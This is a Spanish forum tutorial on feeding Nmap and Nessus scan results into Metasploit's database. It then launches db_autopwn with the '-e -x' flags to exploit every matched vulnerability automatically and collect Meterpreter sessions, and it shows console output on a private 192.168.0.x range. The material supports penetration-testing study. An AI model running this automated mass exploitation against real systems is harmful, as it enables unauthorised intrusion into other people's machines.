Command Description ------- ----------- db_add_host Add one or more hosts to the database db_add_note Add a note to host db_add_port Add a port to host db_autopwn Automatically exploit everything db_connect Connect to an existing database db_create Create a brand new database db_del_host Delete one or more hosts from the database db_del_port Delete one port from the database db_destroy Drop an existing database db_disconnect Disconnect from the current database instance db_driver Specify a database driver db_hosts List all hosts in the database db_import_amap_mlog Import a THC-Amap scan results file (-o -m) db_import_nessus_nbe Import a Nessus scan result file (NBE) db_import_nessus_xml Import a Nessus scan result file (NESSUS) db_import_nmap_xml Import a Nmap scan results file (-oX) db_nmap Executes nmap and records the output automatically db_notes List all notes in the database db_services List all services in the database db_vulns List all vulnerabilities in the database db_workspace Switch between database workspaces
msf >
Obviamente usamos el comando db_import_nmap_xml, que es el que nos permite la importacion del archivo XML que acabamos de crear con el Nmap.
address address6 arch comm created info mac name os_flavor os_lang os_name os_sp state Svcs Vulns Workspace ------- -------- ---- ---- ------- ---- --- ---- --------- ------- ------- ----- ----- ---- ----- --------- 192.168.0.1 Sat Jan 02 16:10:47 -0500 2010 alive 1 0 default 192.168.0.2 Sat Jan 02 16:10:47 -0500 2010 alive 0 0 default 192.168.0.3 Sat Jan 02 16:10:47 -0500 2010 alive 0 0 default
msf >
Ahora miremos los servicios que estan corriendo.
Código:
msf > db_services
Services ========
created info name port proto state Host Workspace ------- ---- ---- ---- ----- ----- ---- --------- Sat Jan 02 16:10:47 -0500 2010 80 tcp open 192.168.0.1 default
msf >
Como este es un Scanner de puertos y no es tan pontente como el Nessus no podemos ejecutar el comando db_vulnsy el db_autopwn, anque si los ejecutamos no aparecera nada... xD
Pasar Resultado de escaneo de Nessus al MSF [Metasploit By: Shell Root]
Ahora en este tutorial, explicaré como pasar los resultados que nos arrojo el scaner Nessus al Metasploit. Porque hacer esto? Bueno, tendremos la informacion ordenada y lista para poner en ejecución el comando db_autopwn, que es el que se encarga de explotar las vulnerabilidas encontradas con el Scaner, automaticamente. Empecemos!
Despues de haber escaneado la Dirección IP con el scanner Nessus exportamos el resultado dentro de un archivo con extensión .nbe, depues dentro del metasploit crearemos una base de datos con los datos que estan dentro del archivo de Nessus. Asi:
Código:
msf > db_destroy [*] Deleting /home/shell/.msf3/sqlite3.db... msf > db_create [*] Creating a new database instance... [*] Successfully connected to the database [*] File: /home/shell/.msf3/sqlite3.db msf >
Command Description ------- ----------- db_add_host Add one or more hosts to the database db_add_note Add a note to host db_add_port Add a port to host db_autopwn Automatically exploit everything db_connect Connect to an existing database db_create Create a brand new database db_del_host Delete one or more hosts from the database db_del_port Delete one port from the database db_destroy Drop an existing database db_disconnect Disconnect from the current database instance db_driver Specify a database driver db_hosts List all hosts in the database db_import_amap_mlog Import a THC-Amap scan results file (-o -m) db_import_nessus_nbe Import a Nessus scan result file (NBE) db_import_nessus_xml Import a Nessus scan result file (NESSUS) db_import_nmap_xml Import a Nmap scan results file (-oX) db_nmap Executes nmap and records the output automatically db_notes List all notes in the database db_services List all services in the database db_vulns List all vulnerabilities in the database db_workspace Switch between database workspaces
Ahora estamos listos para la ejecucion del comando db_autopwn. Miremos que parametros tiene disponible para la ejecución. Miramos que parametros necesitamos para correr el comando db_autopwn
Código:
msf > db_autopwn [*] Usage: db_autopwn [options] -h Display this help text -t Show all matching exploit modules -x Select modules based on vulnerability references -p Select modules based on open ports -e Launch exploits against all matched targets -r Use a reverse connect shell -b Use a bind shell on a random port (default) -q Disable exploit module output -R [rank] Only run modules with a minimal rank -I [range] Only exploit hosts inside this range -X [range] Always exclude hosts inside this range -PI [range] Only exploit hosts with these ports open -PX [range] Always exclude hosts with these ports open -m [regex] Only run modules whose name matches the regex
msf >
Solo son necesarios los parametros -e -x. Esperamos que termine la ejecucion de los exploit y miramos las sessiones del Meterpreter.